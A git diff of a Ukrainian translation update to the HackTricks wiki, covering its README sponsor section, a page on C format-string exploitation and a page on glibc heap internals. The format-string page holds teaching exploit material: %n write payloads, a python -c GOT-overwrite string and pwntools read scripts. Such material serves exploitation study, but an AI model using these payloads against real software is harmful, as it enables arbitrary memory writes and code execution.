Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 107 KiB |
33
README.md
|
@ -8,7 +8,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
**Ласкаво просимо до вікі, де ви знайдете кожен хакерський трюк/техніку/що завгодно, що я навчився з CTF, реальних додатків, читання досліджень та новин.**
|
||||
{% endhint %}
|
||||
|
||||
Щоб почати, слідуйте цій сторінці, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час пентестингу** однієї або кількох **машин:**
|
||||
Щоб почати, дотримуйтесь цієї сторінки, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час тестування на проникнення** однієї або кількох **машин:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,7 +20,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) - це чудова компанія з кібербезпеки, чий слоган - **ЗЛАМУЙ НЕЗЛАМНЕ**. Вони проводять власні дослідження та розробляють власні хакерські інструменти, щоб **пропонувати кілька цінних послуг з кібербезпеки**, таких як пентестинг, червоні команди та навчання.
|
||||
[**STM Cyber**](https://www.stmcyber.com) - це чудова компанія з кібербезпеки, чий слоган - **ЗЛАМУЙ НЕЗЛАМНЕ**. Вони проводять власні дослідження та розробляють власні хакерські інструменти, щоб **пропонувати кілька цінних послуг з кібербезпеки**, таких як тестування на проникнення, червоні команди та навчання.
|
||||
|
||||
Ви можете перевірити їхній **блог** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
|
@ -32,7 +32,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
|
||||
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань** цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,9 +42,9 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** - це **№1 в Європі** платформа для етичного хакінгу та **баг-баунті**.
|
||||
**Intigriti** - це **№1 в Європі** платформа етичного хакінгу та **баг-бонті.**
|
||||
|
||||
**Порада щодо баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
|
||||
**Порада щодо баг-бонті**: **зареєструйтесь** на **Intigriti**, преміум **платформі баг-бонті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -65,38 +65,35 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
|
||||
|
||||
* **Інсайти з хакінгу:** Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
* **Новини про хакінг в реальному часі:** Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
* **Останні оголошення:** Будьте в курсі нових баг-баунті та важливих оновлень платформи
|
||||
* **Останні оголошення:** Будьте в курсі нових баг-бонті, які запускаються, та важливих оновлень платформи
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами сьогодні!
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами сьогодні!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Необхідний набір інструментів для тестування на проникнення
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
|
||||
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-ефектом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-ефектом.** Використовуйте наші 20+ спеціальних інструментів, щоб картографувати поверхню атаки, знаходити проблеми безпеки, які дозволяють вам підвищувати привілеї, та використовувати автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% endembed %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** пропонує швидкі та прості API в реальному часі для **доступу до результатів пошукових систем**. Вони збирають дані з пошукових систем, обробляють проксі, вирішують капчі та парсять всі багаті структуровані дані для вас.
|
||||
**SerpApi** пропонує швидкі та прості API в реальному часі для **доступу до результатів пошукових систем**. Вони збирають дані з пошукових систем, обробляють проксі, вирішують капчі та аналізують всі багаті структуровані дані для вас.
|
||||
|
||||
Підписка на один з планів SerpApi включає доступ до понад 50 різних API для збору даних з різних пошукових систем, включаючи Google, Bing, Baidu, Yahoo, Yandex та інші.\
|
||||
На відміну від інших постачальників, **SerpApi не просто збирає органічні результати**. Відповіді SerpApi постійно включають всі оголошення, вбудовані зображення та відео, графіки знань та інші елементи та функції, присутні в результатах пошуку.
|
||||
|
@ -113,7 +110,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
[**WebSec**](https://websec.nl) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх загроз кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
|
||||
|
||||
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; Пентестинг, **Аудити** безпеки, Тренінги з обізнаності, Фішингові кампанії, Огляд коду, Розробка експлойтів, Аутсорсинг експертів з безпеки та багато іншого.
|
||||
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; тестування на проникнення, **аудити безпеки**, навчання з підвищення обізнаності, фішингові кампанії, перевірка коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
|
||||
|
||||
Ще одна цікава річ про WebSec полягає в тому, що на відміну від середньої по галузі, WebSec **дуже впевнена у своїх навичках**, настільки, що вони **гарантують найкращі результати якості**, на їхньому веб-сайті зазначено: "**Якщо ми не можемо зламати це, ви не платите!**". Для отримання додаткової інформації ознайомтеся з їхнім [**веб-сайтом**](https://websec.nl/en/) та [**блогом**](https://websec.nl/blog/)!
|
||||
|
||||
|
@ -134,8 +131,8 @@ WebSec - це **все-в-одному компанія з безпеки**, щ
|
|||
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте хакінг AWS:<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте хакінг GCP: <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -10,12 +10,12 @@
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -23,11 +23,11 @@
|
|||
|
||||
## Основна інформація
|
||||
|
||||
У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматерами**. **Наступні параметри**, які очікуються, - це **значення** для **заміни** **форматерів** з сирого тексту.
|
||||
У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматерами**. **Наступні параметри** - це **значення**, які потрібно **замінити** на **форматери** з сирого тексту.
|
||||
|
||||
Інші вразливі функції - це **`sprintf()`** та **`fprintf()`**.
|
||||
|
||||
Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** для цієї функції. Зловмисник зможе створити **спеціальний вхід, зловживаючи** можливостями **форматного рядка printf** для читання та **запису будь-яких даних за будь-якою адресою (читабельною/записуваною)**. Таким чином, він зможе **виконувати довільний код**.
|
||||
Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** для цієї функції. Зловмисник зможе створити **спеціальний вхід, зловживаючи** можливостями **формату printf** для читання та **запису будь-яких даних за будь-якою адресою (читабельною/записуваною)**. Таким чином, він зможе **виконувати довільний код**.
|
||||
|
||||
#### Форматери:
|
||||
```bash
|
||||
|
@ -48,7 +48,7 @@ char buffer[30];
|
|||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
* Нормальне використання:
|
||||
* Звичайне використання:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
|
@ -72,7 +72,7 @@ return 0;
|
|||
```
|
||||
### **Доступ до вказівників**
|
||||
|
||||
Формат **`%<n>$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Отже, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити:
|
||||
Формат **`%<n>$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Тож, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
|
@ -92,7 +92,7 @@ printf("%4$x")
|
|||
|
||||
## **Довільне Читання**
|
||||
|
||||
Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться в **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається з 4-ї позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою:
|
||||
Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться на **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати до тих пір, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається на 4-й позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -111,7 +111,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|||
|
||||
### Знайти зсув
|
||||
|
||||
Щоб знайти зсув до вашого введення, ви можете надіслати 4 або 8 байтів (`0x41414141`), за якими слідує **`%1$x`** і **збільшити** значення, поки не отримаєте `A's`.
|
||||
Щоб знайти зсув до вашого введення, ви можете надіслати 4 або 8 байтів (`0x41414141`), за якими слідує **`%1$x`** і **збільшувати** значення, поки не отримаєте `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -155,9 +155,9 @@ p.close()
|
|||
|
||||
## **Випадкове записування**
|
||||
|
||||
Форматер **`%<num>$n`** **записує** **кількість записаних байтів** за **вказаною адресою** в параметрі \<num> у стеку. Якщо зловмисник може записати стільки символів, скільки захоче, використовуючи printf, він зможе змусити **`%<num>$n`** записати випадкове число за випадковою адресою.
|
||||
Форматер **`%<num>$n`** **записує** **кількість записаних байтів** у **вказану адресу** в параметрі \<num> у стеку. Якщо зловмисник може записати стільки символів, скільки захоче, використовуючи printf, він зможе змусити **`%<num>$n`** записати випадкове число в випадкову адресу.
|
||||
|
||||
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" до введення, для цього можна використовувати форматер **`%.<num-write>%<num>$n`**, щоб записати число **`<num-write>`** за **адресою, на яку вказує позиція `num`**.
|
||||
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" до введення, для цього можна використовувати форматер **`%.<num-write>%<num>$n`**, щоб записати число **`<num-write>`** у **адресу, на яку вказує позиція `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
|
@ -172,13 +172,13 @@ AAAA.%500\$08x —> Param at offset 500
|
|||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ми будемо **перезаписувати** **функцію**, яка **отримує** свої **аргументи** від **користувача** і **вказувати** її на **функцію** **`system`**.\
|
||||
Ми будемо **перезаписувати** **функцію**, яка **отримує** свої **аргументи** від **користувача** і **вказує** на **функцію** **`system`**.\
|
||||
Як згадувалося, для запису адреси зазвичай потрібно 2 кроки: спочатку **записується 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
|
||||
|
||||
* **HOB** називається для 2 вищих байтів адреси
|
||||
* **LOB** називається для 2 нижчих байтів адреси
|
||||
* **HOB** викликається для 2 вищих байтів адреси
|
||||
* **LOB** викликається для 2 нижчих байтів адреси
|
||||
|
||||
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB] і потім інший.
|
||||
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB\], а потім інший.
|
||||
|
||||
Якщо HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
@ -194,7 +194,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Pwntools Template
|
||||
### Pwntools Шаблон
|
||||
|
||||
Ви можете знайти **шаблон** для підготовки експлойту для цього типу вразливості в:
|
||||
|
||||
|
@ -237,15 +237,15 @@ p.interactive()
|
|||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) і запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
Підтримка HackTricks
|
||||
|
||||
|
|
|
@ -1,56 +1,56 @@
|
|||
# Libc Heap
|
||||
|
||||
## Основи Хіпу
|
||||
## Heap Basics
|
||||
|
||||
Хіп — це, по суті, місце, де програма може зберігати дані, коли запитує їх, викликаючи функції, такі як **`malloc`**, `calloc`... Більше того, коли ця пам'ять більше не потрібна, вона стає доступною, викликаючи функцію **`free`**.
|
||||
Купа - це, по суті, місце, де програма може зберігати дані, коли запитує дані, викликаючи функції, такі як **`malloc`**, `calloc`... Більше того, коли ця пам'ять більше не потрібна, вона стає доступною, викликаючи функцію **`free`**.
|
||||
|
||||
Як показано, це відбувається безпосередньо після того, як бінарний файл завантажується в пам'ять (перевірте розділ `[heap]`):
|
||||
Як показано, це просто після того, як бінарний файл завантажується в пам'ять (перевірте розділ `[heap]`):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Основне Виділення Чанків
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Коли запитується зберігання деяких даних у хіпі, для них виділяється певний обсяг пам'яті. Цей обсяг буде належати біну, і лише запитані дані + простір заголовків бінів + мінімальний зсув розміру біна буде зарезервовано для чанка. Мета полягає в тому, щоб зарезервувати якомога менше пам'яті, не ускладнюючи пошук, де знаходиться кожен чанк. Для цього використовується інформація про метадані чанка, щоб знати, де знаходиться кожен використаний/вільний чанк.
|
||||
Коли запитується зберігання деяких даних у купі, для них виділяється певний обсяг пам'яті. Цей обсяг буде належати біну, і лише запитувані дані + простір заголовків бінів + мінімальний зсув розміру біна буде зарезервовано для частини. Мета полягає в тому, щоб зарезервувати якомога менше пам'яті, не ускладнюючи пошук, де знаходиться кожна частина. Для цього використовується інформація про метадані частини, щоб знати, де знаходиться кожна використана/вільна частина.
|
||||
|
||||
Існують різні способи резервування простору, в основному залежно від використаного біна, але загальна методологія є такою:
|
||||
Існують різні способи резервування простору, головним чином залежно від використаного біна, але загальна методологія є такою:
|
||||
|
||||
* Програма починає з запиту певної кількості пам'яті.
|
||||
* Якщо в списку чанків є доступний, достатньо великий, щоб задовольнити запит, він буде використаний.
|
||||
* Це може навіть означати, що частина доступного чанка буде використана для цього запиту, а решта буде додана до списку чанків.
|
||||
* Якщо в списку немає доступного чанка, але в виділеній пам'яті хіпу ще є місце, менеджер хіпу створює новий чанк.
|
||||
* Якщо недостатньо місця в хіпі для виділення нового чанка, менеджер хіпу запитує у ядра розширити пам'ять, виділену для хіпу, а потім використовує цю пам'ять для створення нового чанка.
|
||||
* Якщо в списку частин є доступна, достатньо велика, щоб задовольнити запит, вона буде використана.
|
||||
* Це може навіть означати, що частина доступної частини буде використана для цього запиту, а решта буде додана до списку частин.
|
||||
* Якщо в списку немає доступної частини, але в виділеній пам'яті купи ще є місце, менеджер купи створює нову частину.
|
||||
* Якщо недостатньо місця в купі для виділення нової частини, менеджер купи запитує у ядра розширити пам'ять, виділену для купи, а потім використовує цю пам'ять для створення нової частини.
|
||||
* Якщо все не вдається, `malloc` повертає null.
|
||||
|
||||
Зверніть увагу, що якщо запитувана **пам'ять перевищує поріг**, **`mmap`** буде використано для відображення запитуваної пам'яті.
|
||||
|
||||
## Арени
|
||||
## Arenas
|
||||
|
||||
У **багатопотокових** додатках менеджер хіпу повинен запобігати **умовам гонки**, які можуть призвести до збоїв. Спочатку це робилося за допомогою **глобального м'ютекса**, щоб забезпечити доступ до хіпу лише одного потоку в один момент часу, але це викликало **проблеми з продуктивністю** через вузьке місце, викликане м'ютексом.
|
||||
У **багатопотокових** додатках менеджер купи повинен запобігати **умовам гонки**, які можуть призвести до збоїв. Спочатку це робилося за допомогою **глобального м'ютекса**, щоб забезпечити доступ до купи лише одного потоку в один момент часу, але це викликало **проблеми з продуктивністю** через вузьке місце, викликане м'ютексом.
|
||||
|
||||
Щоб вирішити цю проблему, аллокатор хіпу ptmalloc2 ввів "арени", де **кожна арена** діє як **окремий хіп** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з хіпом без перешкод один одному, якщо вони використовують різні арени.
|
||||
Щоб вирішити цю проблему, аллокатор купи ptmalloc2 ввів "арени", де **кожна арена** діє як **окрема купа** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з купою без перешкод один одному, якщо вони використовують різні арени.
|
||||
|
||||
За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
|
||||
За замовчуванням "основна" арена обробляє операції з купою для однопотокових додатків. Коли **додаються нові потоки**, менеджер купи призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
|
||||
|
||||
На відміну від основної арени, яка розширюється за допомогою системного виклику `brk`, вторинні арени створюють "підхіпи" за допомогою `mmap` та `mprotect`, щоб імітувати поведінку хіпу, що дозволяє гнучко управляти пам'яттю для багатопотокових операцій.
|
||||
На відміну від основної арени, яка розширюється за допомогою системного виклику `brk`, вторинні арени створюють "підкупи" за допомогою `mmap` та `mprotect`, щоб імітувати поведінку купи, що дозволяє гнучко управляти пам'яттю для багатопотокових операцій.
|
||||
|
||||
### Підхіпи
|
||||
### Subheaps
|
||||
|
||||
Підхіпи слугують резервами пам'яті для вторинних арен у багатопотокових додатках, дозволяючи їм рости та управляти своїми власними регіонами хіпу окремо від основного хіпу. Ось як підхіпи відрізняються від початкового хіпу та як вони працюють:
|
||||
Підкупи служать резервами пам'яті для вторинних арен у багатопотокових додатках, дозволяючи їм рости та управляти своїми власними регіонами купи окремо від основної купи. Ось як підкупи відрізняються від початкової купи та як вони працюють:
|
||||
|
||||
1. **Початковий Хіп vs. Підхіпи**:
|
||||
* Початковий хіп розташований безпосередньо після бінарного файлу програми в пам'яті, і він розширюється за допомогою системного виклику `sbrk`.
|
||||
* Підхіпи, які використовуються вторинними аренами, створюються через `mmap`, системний виклик, який відображає вказану область пам'яті.
|
||||
2. **Резервування Пам'яті з `mmap`**:
|
||||
* Коли менеджер хіпу створює підхіп, він резервує великий блок пам'яті через `mmap`. Це резервування не виділяє пам'ять негайно; воно просто позначає область, яку інші системні процеси або алокації не повинні використовувати.
|
||||
* За замовчуванням резервований розмір для підхіпу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів.
|
||||
3. **Поступове Розширення з `mprotect`**:
|
||||
* Резервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядро не повинно виділяти фізичну пам'ять для цього простору поки що.
|
||||
* Щоб "збільшити" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби.
|
||||
* Як тільки весь підхіп вичерпується, менеджер хіпу створює новий підхіп для продовження алокації.
|
||||
1. **Початкова купа vs. Підкупи**:
|
||||
* Початкова купа розташована безпосередньо після бінарного файлу програми в пам'яті, і вона розширюється за допомогою системного виклику `sbrk`.
|
||||
* Підкупи, які використовуються вторинними аренами, створюються через `mmap`, системний виклик, який відображає вказану область пам'яті.
|
||||
2. **Резервування пам'яті з `mmap`**:
|
||||
* Коли менеджер купи створює підкуп, він резервує великий блок пам'яті через `mmap`. Це резервування не виділяє пам'ять негайно; воно просто позначає область, яку інші системні процеси або алокації не повинні використовувати.
|
||||
* За замовчуванням зарезервований розмір для підкупу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів.
|
||||
3. **Поступове розширення з `mprotect`**:
|
||||
* Зарезервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядро не повинно виділяти фізичну пам'ять для цього простору поки що.
|
||||
* Щоб "зрости" підкуп, менеджер купи використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підкупу розширюватися за потреби.
|
||||
* Як тільки весь підкуп вичерпується, менеджер купи створює новий підкуп для продовження алокації.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Ця структура виділяє відповідну інформацію про хіп. Більше того, пам'ять хіпу може бути не безперервною після більше алокацій, ця структура також зберігатиме цю інформацію.
|
||||
